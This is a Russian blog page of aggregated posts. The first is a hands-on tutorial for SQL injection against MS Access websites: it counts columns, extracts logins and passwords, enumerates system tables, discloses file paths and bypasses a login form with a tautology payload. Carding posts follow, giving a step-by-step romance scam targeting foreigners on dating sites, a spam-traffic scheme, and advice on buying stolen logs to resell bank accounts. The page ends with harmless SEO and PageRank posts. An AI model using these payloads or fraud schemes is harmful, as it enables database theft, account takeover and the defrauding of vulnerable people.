пятница, 30 ноября 2007 г.

Проведение SQL инъекций

В данной статье я хочу развеять миф и слухи о том, что проведение SQL инъекций в MSAccess не возможно.

Прежде чем начать, скажу, что методы приведенные в данной статье, неоднократно проверены и применялись при реальном проведении инъекций =)

[Особенности MS Access]

Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в
MS Access. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в
операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же
возможно.
В MS Access, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования
оператора UNION, т.е. с составлением объединенного запроса(далее по тексту подзапроса).

Очень важным свойством является то, что все запросы SELECT должны производиться из какой-то
таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы.
Синтаксис SELECT:

Код:

select [Предикат] Поля from Таблицы [in БазаДанных] [where ...] [group by ...] [having ...] [order by ...];


Необязательные аргументы заключены в [ ].

Немаловажным свойством является отсутствие оператора [b]LIMIT, вместо него можно использовать
оператор TOP X START AT Y.

Так же очень важным свойством, является отсутствие символов комментариев, что делает
невозможным усечение основного запроса.

Нет возможности использования нескольких запросов с применением разделителя “;”, данный
символ означает окончание запроса, его подстановкой можно определить наличие каких-либо
конструкций за уязвимым параметром, но не их выполнение.

[Обнаружение MS Access]

Как правило однозначно идентифицировать MS Access можно при обнаружении двух ошибок
следующего содержания:

Код:

[Microsoft][ODBC Microsoft Access Driver] Syntax error ....


или

Код:

Microsoft JET Database Engine error '80040e14' Syntax error in string ....

В любом случае работаем с Access.

[Подбор столбцов]

Пусть ошибка присутствует в параметре id:

Код:

www.site.com/view.asp?id=1’

Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить.

Для подбора столбцов существует 2 известных способа. Но при этом необходимо учитывать особенность MS Access и подбор столбцов перебором с помощью union select осуществлять только в случае, если мы знаем точно имя какой-то таблицы в базе и имеем к ней доступ на чтение!

1. Простой перебор.

Допустим мы знаем о существовании таблицы users и имеем к ней доступ на чтение. Составим следующий запрос

Код:

http://www.site.com/view.asp?id=-1+u...t+1+from+users

Если появилась ошибка:

Код:

The number of columns in the two selected tables or queries of a union query do not match.


увеличиваем количество столбцов на один
Код:

www.site.com/view.asp?id=-1+union+select+1, 2+from+users

и так пока не исчезнет ошибка.

2. Использование оператора ORDER BY

Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое.
И что самое главное позволяет определить количество столбцов, без знания имен таблиц в базе.

Составим следующий запрос

Код:

www.site.com/view.asp?id=-1+order+by+1

если ошибка с номером:

Код:

error '80020009'

значит столбцов 1 или более 1

Код:

www.site.com/view.asp?id=-1+order+by+99999

При таком запросе должна появиться ошибка:
Код:

Microsoft JET Database Engine error '80040e14' The Microsoft Jet database engine does not recognize '99999' as a valid field name or expression.

что означает столбцов меньше 99999. Далее таким же образом уменьшаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.

[Определение принтабельных столбцов]

Для определения принтабильных столбцов, нам необходимо знать имя любой таблицы.
Если например столбцов основном запросе 4, то составим запрос:
Код:

http://www.site.com/view.asp?id=-1+u...3,4+from+users

И обнаружив соответствующую цифру на выведенной странице мы обнаружим номер принтабельного столбца.

[Получение информации]

После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда.
Например, если существует таблица USERS со столбцами ID,LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом

Код:

www.site.com/view.asp?id=-1+union+select+1, login, password, 4+from+users+where+id=123

[Таблицы]

Если пользовательские таблицы нам неизвестны, то мы можем попробывать получить различную информацию из системных таблиц MS Access. Хотя доступ к ним по умолчанию запрещен, всякое бывает.
В Access существуют следующие системные таблицы:
Код:

MSysACEs MSysCmdbars MSysModules MSysModules2 MSysObjects MSysQueries MSysRelationships


Наибольший интерес представляет таблица, MSysObjects которая содержит имена всех таблиц в базе. Вытаскиваем имена таблиц, кроме системных(системные имеют type=1):

Код:

http://www.site.com/view.asp?id=-1+u...bjects+where+M SysObjects.Type=6

Для получения следующего имени таблицы воспользуемся оператором TOP:
Код:

http://www.site.com/view.asp?id=-1+u...me,3,4+from+MS ysObjects+where+MSysObjects.Type=6

Таким образом, перебирая записи мы можем посмотреть по очереди все имена таблиц.

Если все таки, мы не имеем доступа к системным таблицам, что встречается чаще, то для выявления необходимых таблиц, остается только метод перебора с учетом вероятных названий различных переменных в html формах. Например, если есть форма аутентификации с логином и паролем, то скорее всего есть таблица с названием users, logins, etc...

[Раскрытие путей]

Хорошей особенностью обладают инъекции в MS Access, с их помощью можно определить существование и расположение необходимых директорий и файлов, например для заливки шелла через другие баги на сайте.

1. Раскрытие системной директории.
Составим запрос:
Код:

http://www.site.com/view.asp?id=-1+u...sysobjects+in+'.'

главная часть запроса '.', имя столбца и таблицы не важно.
в результате получим ошибку и в ней путь:
Код:

Microsoft JET Database Engine error '80004005' The Microsoft Jet database engine cannot open the file 'c:\winnt\system32\'. It is already opened exclusively by another user, or you need permission to view its data.


2. Подтверждение существования файла.

Составим запрос:
Код:

http://www.site.com/view.asp?id=-1+u...39;с:\boot.ini'

Если файл не существует, то получим ошибку:
Код:

Microsoft JET Database Engine error '80004005' Could not find file 'C:\boot.ini'

Если существует, то ошибку:

Код:

Microsoft JET Database Engine error '80004005' Unrecognized database format 'C:\boot.ini'



3. Подтверждение существования директории.

Составим запрос:
Код:

http://www.site.com/view.asp?id=-1+u...9;с:\inetpub\s qlerr'

Если дыра не существует, то получим ошибку:
Код:

Microsoft JET Database Engine error '80004005' 'с:\inetpub\sqlerr' is not a valid path.
Если существует, то ошибку:

Код:

Microsoft JET Database Engine error '80004005' Could not find file 'с:\inetpub\sqlerr'

[Обход простой Авторизации]

Прежде необходимо отметить, что инъекции в POST-параметрах, так же возможны, проводятся аналогично GET-параметрам, ошибки выводятся, аналогичные если нет редиректа.
Инъекции в текстовых GET/POST параметрах, проводятся путем использования закрывающей и открывающей кавычек, например:

Код:

www.site.com/view.asp?name=as'+and+'1

Для более глубокого понимания обхода базовой авторизации рассмотрим простой скрипт:
Код:

user = request("user") pass = request("pass") Set Conn = Server.CreateObject("ADODB.Connection") Set Rs = Server.CreateObject("ADODB.Recordset") Conn.Open dsn SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'" rs.open sql,conn if rs.eof and rs.bof then ' Access Denied else ' Access Allowed end if


Теперь видно каким образом происходит взаимодействие с базой из VBScript.
Для обхода такой авторизации, необходимо ввести в поля логин и пароль следующие значения:
Код:

user = ' or '1'='1 pass = test

[Копирайты]

При написании статьи использовались следующие материалы:
Описание системной таблицы MS Access - MSysObjects,Автор NSA http://hiprog.com/index.php?option=c...=297&Itemid=35
Оборотная сторона Microsoft Access, Автор Александр Запольскис http://adm.jinr.ru/doc/access/page18.htm
Access SQL Injection, Brett Moore
http://seclists.org/pen-test/2003/May/0074.html
Статья [cash], Проведение инъекций в MSSQL сервере от Microsoft, https://forum.antichat.ru/showthread.php?t=30501
MSDN + мои практические наработки =)

[ЗЫ]

Надеюсь на то, что статья заполнит пробел в серии античатовских статей по SQL-инъекциям =)

Не прос...ы стартовый капитал

Сижу на кухне с буком, в 4 часа утра. Поэтому прошу прощения за все мои грамматические и синтаксические ошибки.
Во многих статьях написанных для новичков существует такое понятие, как стартовый капитал. И буквально все авторы кричат о том, что без него никак нельзя... И я полностью согласен с этим. Можно хоть сколько угодно работать на "доброго дядю кардера", но свое - всегда есть свое... А чтобы оно было - нужны деньги. Вроде все банально и просто. Но где их взять? "Например- можно вагоны пойти разгружать- нормальная мужская работа.". Или продавать чего, украсть - все сводится к одному - вложиться из реала. И тут существует одна психологическая тонкость - если ты прос..л свои 100$ кровью и потом заработанных в одно мнгновение - тебя кинул кто то, не получился залив по купленному тобой акку, вообщем не важно - у тебя резко опускаются руки. И в голове возникает вопрос - a нах мне вообще это все нужно? Сидел бы на своем заводе и тихо мирно жил бы на зарплату Так что лучше поиметь деньги здесь, в инете. Даже если ты их потеряешь, то думаю такого большого псих. расстройства не случится - и начнешь все снова. И сейчас многие бы написали: иди работай вбивалой, новичком в какую нибудь тему вписывайся, спрашивай, учись, читай статьи и глядишь через месяц-другой тебе что и выпадет...Да это тоже правильно. Но что мы теряем - теряем время, (теоритический опыт не совсем то, а для практического нужен материал) а значит и деньги в каком то смысле. А если вообще ты ничего не смыслишь в данный момент в кардинге, программирование и уровень образования чуть выше, чем у оператора ПК?
Итак - мой опыт. Сайты знакомств. Да так просто. Все знают, некоторые на них регятся и висят сутками, пытаясь найти свою единственную и неповторимую. Таким же был и я до некоторого времени. Потом задался вопросом как поиметь с них $ сильно не утруждаясь. Итак....

Вариант1
+: можно срубить достаточное хорошее количество бабла - 5-6 к долларов за 1 - 1.5 месяца эт точно. Все делается по шаблону.

-: очень долгий, не меньше 1 месяца. Отдел "К" не дремлет - искать будут, причем упорно. Не всегда получается, если не хватает коммуникативного составляющего. Знание англ яз на уровне "писать без ошибок, переводить правильно - со словарем. Очень трудоемкая работа. Требует очень большого количества времени в день. Иногда приходится звонить через звонилки и общаться.

Задача: Создаем в пиндоских странах анкеты слащавых мальчиков и красивых девушек. Каждую анкету заполняем оригинально, фоток не меньше 5-6.!! Внимание и никакого намека в цели знакомства на секс!!!! Все должно быть чинно и благопристойно. В целях дружба, переписка и ВСЕ! Причем мальчики знакомятся и с мальчиками и с девочками, а девочки только с мальчиками. Анкет нужно создать не меньше 40 - 50 по разным странам и городам.

Цель: Выманить у пиндосов деньги. Не важно - на инет, на билет к ним, любимым, больной маме на операцию - это по ситуации.

Главное: Поверить во все то что сам будешь рассказывать, стать для пиндоса первым и единственным другом, сочуствовать, переживать по настоящему!!!! К вопросу о деньгах его постепенно подводить. НИкогда напрямую ничего не говорить, все обтекаемо... И лучше всего намеками играть... Естественно лучше после того как появятся первые деньги обезапасить себя, съемная квартира, анонимный инет и т.д. Впринципе это дело даже можно поставить на поток и я знаю людей, которые имеет неплохой куш с этого
Ньюансы раскрывать не буду, т.к. тема работает до сих пор, причем успешно довольно таки.. С опытом придет все!


Вариант 2
Ты считаешь что первый вариант не для тебя, согасен тут нужно по большей степени адское терпение Если у тебя есть небольшие навыки в программировании - то № 2 точно для тебя. Это достаточно простой вариант.
1.Находим партнерку которая выплачивает центы за траф, т.е. посещаемость какого нибудь ресурса(вперед на поисковики, региться на форумах вебмастеров - можно поспрашивать там у умных людей и т.д.)
2. Создаем на народе (или другом бесплатном хостинге) сайтик с автоссылкой на партнерку.
3.Возникает проблема - хде взять траф??? Лазать самому очень долго и упорно, нудно и практически безрезультатно. Платить за него? Но ведь у нас нет ВМЗ... Нам на помощь опять приходят сайты знакомств!!!!!!!!! Создаем анкеты, ставим охуе..е фотки телок - чем больше, тем лучше.. На некоторых в фотошопе рисуем ссылочку на наш сайтик на народе.. Создаем таких анкет штук 20-30 в день... И сидим потираем ладошки... Посещаемость идет, центики капают.. ЖДем-с обналичивания.. Можно даже посчитать: я знал партнерку где, за посещение сайта выплачивали 2 цента. Имеется 20 анкет в день. У каждой по 300 просмотров. Пусть 100 чел. увидили ох..ю телку на твоей фотке и перешли по ссылке на твой сайт. Итог умножаем 20*2*100 и имеем 40$ чистой прибыли в день.. Совсем не вкладывая денег со своей стороны...

Главное: Анкеты нужно создавать регулярно, т.к. админы их банят. Сайт тоже банят через некоторое время, поэтому надо быть внимательным и не пропустить этот момент - создать новый.

Наконец у тебя есть первая денежка. Появляется чувство эйфории. Я все МогУ!!!!! ОЧЕНЬ большой соблазн проеб..ть, пробухать эти первые ВМЗ как и все легкие деньги....(Я например так и поступил - спустил свои первые 100$ в БК, о чем до сих пор жалею - слабый духом был). Вся фишка состоит в том, что нужно не прос..ть эти деньги, а умело вложить их в свое образование. А для этого в начале нужно поставить цель - для чего тебе они? Купить сс - учиться вбивать, акки - чтобы посмотреть и ощутить, что это такое, а может все таки логи или снять на них шалаву, т.к. на свою дев не хватает времени? Решать тебе. Главное чтобы выбор был правильным - и ты потом не корил себя....Ведь бывает $ начнет капать - вдруг тема умирает внезапно, а ты вроде как все и потратил.. Даж не осталось ничего.. Обидно порой.

Как подняться новичку (не сетевуха, не герабалайф)

Решил написать очередную статью про подьем наших новичков, про то, как сдвинуться с мертой точки. Мертвой точкой я назваю момент, когда вложенные тобой деньги в какую-то тему отбиваются и приносят хотя бы минимальную прибыль. Я не говорю про деньги, вложенные тобой вообще. Окупяться они далеко не сразу
Что советуют почти во всех статьях? Вбивать в порники? Заниматься вещевухой? В порники да, не помешало бы повбивать, руку набить. Но не надо воспринимать порники буквально как "порники", под этим названием скрывается просто вбив креды везде, где ее можно вбить. Привыкнуть, понять какие антифроды бывают на картоне. Далее по плану всех "успешных новичков" идет вещевуха. И именно юса, где она заебана еще нашими прадедами. Имхо вещевуха в юса - это разврат в извращенной форме. Я не говорю, что она нереально и денег там заработать тоже не возможно, но сделать это будет ооочень трудно. Без стартового капитала можешь даже не дергаться. В лучшем случае станешь рипаком. Но дальше... что делать со стартовым капиталом? И вот дальше вам предлагают только один вариант - вещевуха. А туда денег и сил вкидывать нужно не мало. Во первых вам предстоит влезть в совсем неизвестную и мягко говоря не легкую тему. А влезать в тему всегда сложно, потому как сидеть над форумом и курить вам прийдеться очень усердно. Конкретно для вещевухи: узнать нормальные банки, хотя бы немного живые, найти нормального продавца ролла, купить нормальный ролл, найти хорошего прозвонщика, найти шоп в конце концов. И это только основные проблемы, с которыми предстоит столкнуться. Я даже считать здесь не буду сколько денег у вас уплывет.
Я же предлагаю другой вариант, купить на эти деньги логов. И дальше уже с ними работать. Посидеть ночь, просмотреть их вручную, полазить по сайтам, посмотреть какие у вас появились логины и пароли. В чем я вижу приемущество? Во-первых у вас появиться материал для работы. Во-вторых вы вживую сможете просмотреть что эти акки из себя представляют. А в нормальных логах вы как минимум найдете палку, пару банковских акков и может что-то поинтереснее. Я не говорю, что сразу же надо заходить в "банки" и писать кучу нелепых вопросов. Просто можно все это в живую посмотреть и пощупать. Запомните, ни одна теория, сколько бы ее не было не заменит практику! Во-вторых на форуме многие люди скупают нужные им акки. Можно посмотреть что скупается, проверить свои логи на наличие нужных акков и продать их. Обычно от вас не требуется каких-то специальных знаний для этого, если у вас хороший акк, то его у вас заберут независемо от того, новичек вы или нет. В-третих, вы более-менее познакомитесь с людьми, научитесь общаться, проводить сделки. В-четвртых можно посмотреть что вообще люди покупают, какие акки берут, по каким темам работают, а не тупо ломиться в аси в надежде, что тебе подкинут темку. И поверьте, тема для работы прийдет сама собой, не сразу, но прийдет! По крайней мере у вас уже будет больше пищи для размышлений. Просто нужно внимательно читать, анализировать любую информацию, ведь просто так ничего не покупается и ничего не продается.
PS вроде все, хочу только лишь в конце добавить, что как и везде здесь тоже не будет легких путей, что здесь тоже можно вкинуть $$$ и ничего не получить, но мое твердое имхо - так вам подняться будет гораздо легче. Выбор за Вами

Урок для новичков или почему 95% ньюбов уходят работать на завод?

В этой статье я немного расскажу об огромной аудитории ньюбов, которые уходят из Кардинга навсегда!
Но их пропажи собственно никто не замечает.

Первые шаги лузера в познавании кардинга начинаются с прочитывания газетных заметок, Интернет сайтов, в лучшем случаи форумов.
После прочтения очередной заметки, в которой говорится как Кардер очередной раз опустошил счета амеров или слил крупную базу кредиток из популярного Интернет магазина лузера покоряет мысль.
А чем он собственно хуже Кардера?
Я тоже смогу ебашить счета амеров и наконец-то осуществлю свою заветную мечту, купить мопед который продается за углом его дома в магазине, за 27000 рублей
Не важно то, что лузер своё железо использует для игры в контру или распечатки докладов, которые помогают спасти его от двойки за четверть по предмету.
Лузер на всё это закрывает глаза, вспоминает как сосед учил его пользоваться в лучшем случаи яндексом, в который вбивает магическое слово состоящее из 6 букв (Кардер)
Видит огромное количество линков на паги сайтов содержащих информацию о Кардерах.
Кликает на пару Линков, попадает на какой-то бредовый форум с парой к пользователей в лучшем случаи.
С каждой минутой мечта лузера тает как снежная баба стоящая во дворе с приходом весны.
На форуме с первых минут регистрации пытается занять активную позицию.
Пытается всех удивить тем, что другие знали пару лет спустя.
Задаёт пару идиотских вопросов, над которыми смеются даже 14-и летние лузеры.
После пару месяцев безрезультатных поисков работы, без копейки в кармане, лузер пытается заняться хотя бы перепродажей icq уинов.
Кинув на этом сверх прибыльном деле, пару десятков человек, неугомонный лузер опять открывает страничку заветного поисковика.
Вбивает туда более продвинутый запрос, аля «взлом баз данных», «продажа картона», «продажа пластика», «обналичка wu» ньюб получает линки на продвинутые форумы, либо на полезные статьи.
Пытается всё проглотить и переварить за кротчайший промежуток времени.
Пытается зарегистрироваться на колоритном форуме и начать тупо сразу же со старта задавать огромный поток глупых вопросов, взятых из того количества информации, которую лузер постарался проглотить за минимальный промежуток времени.
Но тут наконец-то лузер приходит в себя, т.к регистрация закрыта, либо не обходимо ждать некоторое количество времени и читать топики до активации акаунта.
Злой лузер использует не по назначению предоставленное время на ознакомление форума,
Играет в те самые идиотские игрушки, пьет пиво, сидя на лавочке, грызёт семечки и мечтает о том дне, когда он сможет натянуть на лицо те самые розовые очки.
Приходит время активации, лузер логинется на форуме и наконец-то на его лице появляется улыбка от уха до уха.
Хорошо подумав перед постингом, лузер начинает пытаться каким-то образом привлечь к себе внимание.
Но на него Кардеры забивают, видя и понимая, что перед ними всего лишь обыкновенный ЛУЗЕР, предварительно попинав лузера, Кардеры продолжают дальше работать.
Лузер пытается доказать всем что он самый умный, не усвоив для себя ту простую истину, которую должен был усвоить, гораздо раньше, после первой прочитанной газетной заметки.
«Человек ищущий на путях своих деньги, но не имеющий способностей и навыков их заработать, не получает даже хлебной крошки»
На этом этапе лузер решает бросить заниматься Кардингом, предпочитая альтернативу рабочего на заводе по локоть в мазутном масле.

среда, 28 ноября 2007 г.

Узнай свой Page Ranke и ТИЦ

Прикольную VI конференцию по Поисковому продвижению провели ашмановцы. Каждый кто был на этой конференции мог пройти оффлайн-пузомерку и померять свой ПЫР и ТИЦ на мой взгляд вышло забавно.

2

ГРУППА В “ОРАНЖЕВЫХ КУПАЛЬНИКАХ”: 1. Ципленко Сергей (ДельтаЛаб) 2. Редькин Андрей (ITECH.group) 3. Сафонов Александр (SEO-net)

3

СВЕТОФОР: 1. Попков Николай (eBanners) 2. Каленкова Дарья (ITECH.promo) 3. Дуйнов Роман (ОнФит)

4

УПРАЖЕНИЕ С ПРЕДМЕТАМИ: 1. Ишмухамедов Руслан (Russian Promo) 2. Разуваева Алла (Ingate) 3. Никитин Артур “Таможня.Ру”

5

ГОЛУБЫЕ…РУБАШКИ: 1. Маслин Максим (ИД Компьютерра) 2. Иванайский Андрей (Информ-с) 3. Андрей (ДАВС)

6

INGATE ЗАКРЫТАЯ КОМПАНИЯ: 1. Ярлушкин Стас (Ingate) 2. Царахов Дмитрий (Ingate) 3. Андросов Никита (Ingate)

7

МИСТЕРЫ-ВЕЛИКАНЫ: 1. Бабуев Павел (БРИС) 2. Клёнкин Сергей (Информ-с) 3. Ветров Михаил (Megaseo)

8

НЕ ВСЕМ ДЕВУШКАМ НА КОНФЕРЕНЦИИ ХВАТИЛО МУЖСКОГО ВНИМАНИЯ: 1. НФО* 2. НФО* 3. Титова Марина “Ашманов и Партнёры”

1

МЫ С ТАМАРОЙ ХОДИМ ПАРОЙ: 1. Васенина Екатерина (Майнлинк) 2. НФО* 3. Игнатьева Мария (GoGo)

9

ДАМА С ТЕЛОХРАНИТЕЛЯМИ: 1. Мордюв Дмитрий 2. Долженкова Виктория (Ingate) 3. Попов Тимур (Датио)

10

ЛЁГКАЯ НЕБРИТОСТЬ: 1. Волович Михаил (Ашманов и Партнёры) 2. Ломизе Евгений (Яндекс) 3. Третьяков Георгий (Елена)

12

ПИДЖАЧНАЯ МОДА: 1. Цыплаков Сергей (Майнлинк) 2. Яковлев Алексей (Seo-study) 3. Летов Александр (Ingate)

13

СТОЯТ ДЕВЧОНКИ, СТОЯТ В СТОРОНКЕ…: 1. НФО* 2. Колотая Ирина “AdLabs” 3. Бубнова Ольга (Ingate)

14

ЖИЛЕТКИ РУЛЕZZZ: 1. Сумина Екатерина (HeadHunter) 2. Величко Евгений 3. Хлудова Анна

15

ЭВОЛЮЦИЯ: 1. Сахно Олег (InterLabs) 2. Яровой Николай (Control Style) 3. Пакшаев Константин (Информ-с)

16

ПОД КРЫШЕЙ ДОМА СВОЕГО: 1. Давлетшина Инна (Ingate) 2. Щедрина Валентина (Ашманов и Партнёры) 3. Кот Дмитрий (блоггер)

17

КРАСНОЕ НА ЧЕРНОМ: 1. Самсонов Михаил (Интернет Мультимедиа ГРУПП) 2. Лавренко Виктор (Nigma) 3. Афонин Валерий (GoGo.Ru)

18

MAINLINK В СОБСТВЕННОМ СОКУ: 1. Морозов Дмитрий (MainLink) 2. Цыплаков Сергей (MainLink); Асриян Вячеслав (MainLink) 3. Блохин Кирилл (MainLink)

19

УЛЫБОЧКУ: 1. Рабчёнок Илья (SmoPro) 2. Шахматов Павел (Март-Медиа) 3. Иванов Алексей (Синилок)

11

SEO-БЛОНДИНЫ: 1. Морозов Роман (Адд Веб) 2. Пущаловский Сергей (AdLook) 3. Чекан Александр (TUT.BY)

20

SEO-НЕБЛОНДИНКИ: 1. Макарова Анна (SeoNews) 2. Шакурова Демфира (SeoNews) 3. Чернева Светлана (SeoNews)
Источник

понедельник, 26 ноября 2007 г.

Google PageRank

Краткий отчёт: Как работает Google PageRank?

  1. PageRank лишь один из многих методов Google для определения ревалентности и важности страницы.
  2. Google воспринимает ссылку со страницы А на страницу В как голос страницы А за страницу В. Google смотрит не только на общее количество входящих ссылок; среди других 100 аспектов, он также учитывает страницу дающую голос. Так или иначе, все эти аспекты не играют особой роли, когда PageRank уже подсчитан.
  3. PageRank основывается на входящих ссылках, но не только на их количестве, но и на ревалентности и качестве.
  4. PR(A) = (1-d) + d(PR(t1)/C(t1) + … + PR(tn)/C(tn)). По этой формуле расчитывается значение Google PageRank.
  5. Не все ссылки одинаково влияют на PageRank.
  6. Если на странице с PR8 есть только одна ссылка, то сайт, на который она ссылается, получит весь PR который она может передать, если же ссылок 100 то каждая ссылка будет передавать только часть этого PR.
  7. Плохие входящие ссылки не влияют на PR.
  8. Google поиск учитывается время существования сайта, релевантность входящих ссылок и время их существования.
  9. Содержание страницы не учитывается при подсчёте значения PageRank.
  10. PageRank - это не ранг всего сайта, а каждой страницы по отдельности.
  11. Каждая обратная ссылка важна для конечного результата. Кроме запрещённых сайтов, которые не учитываются.
  12. Значение PageRank находится не в диапазое целых чисел от 0 до 10, а является числом с плавающей точкой.
  13. Достижение каждого нового уровня значения PageRank сложнее. PageRank рассчитывается по логарифмической шкале.
  14. Google подсчитывает значения Pr постоянно, но мы видим изменения раз в несколько месяцев (Google Toolbar).

Факторы, влияющие на PageRank

  1. Частое обновление содержания страницы не увеличивает её PR автоматически. Содержание не влияет на расчёт PR.
  2. Высокий PR не гарантирует высокие позиции выдачи в результатах поиска.
  3. Каталоги DMOZ и Yahoo! не увеличивают PR автоматически.
  4. Ссылки с .edu и .gov сайтов не увеличивают PR автоматически.
  5. Внутренние страницы и поддомены не всегда имеют меньший PR чем главная страница.
  6. Ссылки с сайта Wikipedia не увеличивают PR автоматически (обновление: но ссылки со страниц Wikipedia с точной информацией могут улучшить PR).
  7. Ссылки отмеченные атрибутом nofollow не влияют на значение PR.
  8. Рациональные внутренние ссылки влияют на PR.
  9. Ссылки с тематических сайтов влияют сильнее.
  10. Исходящие и входящие ссылки на качественные тематические сайты положительно влияют на PR.
  11. Несколько одинаковых ссылок с одной страницы считаются как одна.

1.1 Что такое PageRank?

  • PageRank - это [только] один из методов, используемых Google для определения релевантности и важности страницы.” [PageRank Explained Correctly]
  • Google использует множество факторов для ранжирования страниц, PageRank один из лучших. “PR отражает два важных момента:
    1.) сколько страниц ссылаются на данную
    2.) какого уровня страницы на нее ссылаются.
    Пять шесть ссылок с таких сайтов как www.cnn.com или www.nytimes.com, могут быть более полезны, чем гораздо большее количество ссылок с менее солидных сайтов.” [Google Librarian Central]
  • PR может отражать только приблизительное качество страницы, но никак не связан с ее тематической релевантностью, которую можно определить только учитывая контекст ссылок, и такие факторы как плотность ключевых слов, заголовок страницы и т.п. [PageRank: An Essay]

1.2 Как работает PageRank?

  • Никто точно не знает. “Никто точно не знает как Google расчитывает значение PR.” [Google PageRank Explained]
  • PR(A) = (1-d) + d(PR(t1)/C(t1) + … + PR(tn)/C(tn)). “Это примерное выражение для расчёта PR страницы. В этом выражении: t1-tn страницы, ссылающиеся на A, С - количество исходящих ссылок на соответствующую страницу, d - коэффициент затухания (обычно равен 0.85).”
  • Можно предположить, что PR вычисляется по формуле PR = 0.15 + 0.85 * (часть PR каждой ссылающейся страницы передаваемая нашей). Количество PR, которое страница может использовать, чтобы голосовать за другие, чуть меньше чем ее собственный PR, а точнее 0.85 * PR, это количество и делиться между страницами, на которые она ссылается. [Google’s Page Rank]
  • “Алгоритм вычисления PR, основан на распределении собственного PR страницы, между страницами на которые она ссылается. К примеру, если на странице с PR8 есть только одна ссылка, то страница, на которую она ссылается, получит весь доступный PR, но если на этой странице 100 ссылок, то каждая из них получит только сотую часть доступного PR.” [The Importance of PageRank]
  • “Вследствие, такого алгоритма вычисления PR, ссылка со страницы с PR4 и 5 внешними ссылками, эффективнее ссылки со страницы с PR8 и 100 внешних ссылок. PR ссылающихся страниц важен, но не менее важно и количество исходящих ссылок, которое они содержат, чем больше исходящих ссылок тем меньше PR перейдет каждой.” [Google’s Page Rank]
  • PR использует входящие ссылки как индикатор важности страницы. “Google интерпретирует ссылку со страницы A на страницу B как голос страницы A в пользу страницы B. Учитывается не только количество голосов, но и качество голосующих страниц. Чем выше PR страницы, тем большее значение имеет ее голос.” [Google: Technology]
  • Не все ссылки одинаково полезны. “Чем выше PR ссылающейся страницы, тем больший PR она передает, но нужно учитывать и то, что этот PR делиться в равной степени между всеми страницами на которые она ссылается. Поэтому ссылка со страницы с PR4 и единственной исходящей ссылкой, может дать больше чем ссылка со страницы с PR5 и 100 исходящих ссылок. Типичный пример всем известные миллионодоларовые главные страницы, такая страница с PR7 и сотнями исходящих ссылок, несмотря на свою важность, передает другим страницам незначительный PR.” [Google PageRank Explained]
  • Каждый следующий уровень PR достигается значительно сложнее предыдущего. При вычислении PR используется логарифмическая шкала, это значит, что для перехода с PR0 к PR1 требуется один шаг, несколько труднее набрать PR3, еще труднее PR4, и значительно труднее PR5.”
    [Google Page Rank FAQ]

  • PR вычисляется не для сайта в целом, а для каждой отдельной страницы и рекурсивно связан с PR страниц которые на нее ссылаются.
    [The Page Rank algorithm]
  • Google комбинирует PR со сложными техниками текстового поиска, анализируются многие аспекты содержимого страницы и ссылающихся на нее страниц, чтобы найти страницы лучше других, соответствующие запросу пользователя. [What Is Google PageRank?]
  • PR пересчитывается постоянно, но данные для тулбара обновляются раз в несколько месяцев, новым сайтам присваивается PR0.
    [Google PageRank Explained]

1.3 Какие факторы влияют на PageRank?

  • Важна каждая входящая ссылка, за исключение ссылок с забаненных сайтов. “PR это своеобразная система голосования, каждая ссылка на страницу это голос в ее пользу. Страницы с высоким PR считаются более важными, и их голоса в некоторых случаях имеют большее значение, но в основном, чем больше входящих ссылок, тем лучше.” [Google PageRank FAQ]
  • Добавление новых страниц может уменьшить PR. “Этот эффект заключается в том, что суммарный PR сайта возрастает, но одна или нескольких старых страниц теряют часть PR, за счет чего новые его получают, чем больше добавлено страниц тем больше PR теряют существующие. На крупных сайтах этот эффект незаметен, но на малых его иногда можно наблюдать.”
    [PageRank Explained]
  • Уменьшение PR. “PR страницы может уменьшиться из-за исчезновения некоторых важных ссылок, которые передавали ей PR, или падения PR ссылающихся на нее страниц.” [Google PageRank FAQ]
  • Заголовки ( h1, … , h6) и теги strong важны, но не влияют на PR. Используйте мета-теги, заголовки и теги b, strong, но так чтобы контент оставался читабельным и полезным. Обращайте внимание на текст окружающий ключевые слова, поисковики все лучше работают с семантикой, поэтому контекст ключевых слов очень важен.

1.4 Какие факторы не влияют на PageRank?

  • Частые обновления содержания не увеличивают PR автоматически. “Тем не менее, google-бот будет чаще посещать и индексировать ваш сайт, к тому же больше вероятность, что на вас будут ссылаться.”
  • Содержание страницы не учитывается при расчете PR, но учитывается при поиске. [Google PageRank]
  • Высокий PR не гарантирует, высоких позиций в результатах поиска, для любых запросов, иначе сайты с PR10, такие как Adobe, всегда занимали бы первые позиции в выдаче, а этого не происходит. [What Is Google PageRank?]
  • Google поиск принимает во внимание “возраст” ресурса, продолжительность и ревалентность обратных ссылок. PR - нет.
  • Ссылки с сайта Wikipedia не увеличивают PR автоматически. “Wikipedia использует тэг nofollow для ссылок, чтобы показать поисковикам, что эти ссылки не нужно учитывать.” [A Survival Guide to SEO & Wikipedia]
  • Размещение в DMOZ и Yahoo! не дают сайту никаких бонусов PR. “Google использует DMOZ.org, для работы своего каталога, и в связи с этим фактом возникли предположения, что размещение сайта в DMOZ дает некоторый прирост PR, на самом деле этот прирост точно такой же как и от любой другой входящей ссылки. Но не стоит забывать, что данные DMOZ используют сотни сайтов.” [Top 10 Google Myths Revealed]
  • Внутренние страницы не обязательно имеют PR ниже, чем главная, в зависимости от популярности сайта внутренние страницы могут иметь и более высокий PR.
  • Мета-теги не увеличивают PR. “Google иногда использует мета-тег description, при индексации сайта, он может быть полезен если страница состоит преимущественно из графики, но конечно не влияет на PR.” [10 Google Myths Revealed]
  • .edu и .gov сайты не имеют преимуществ в PR (или имеют?).
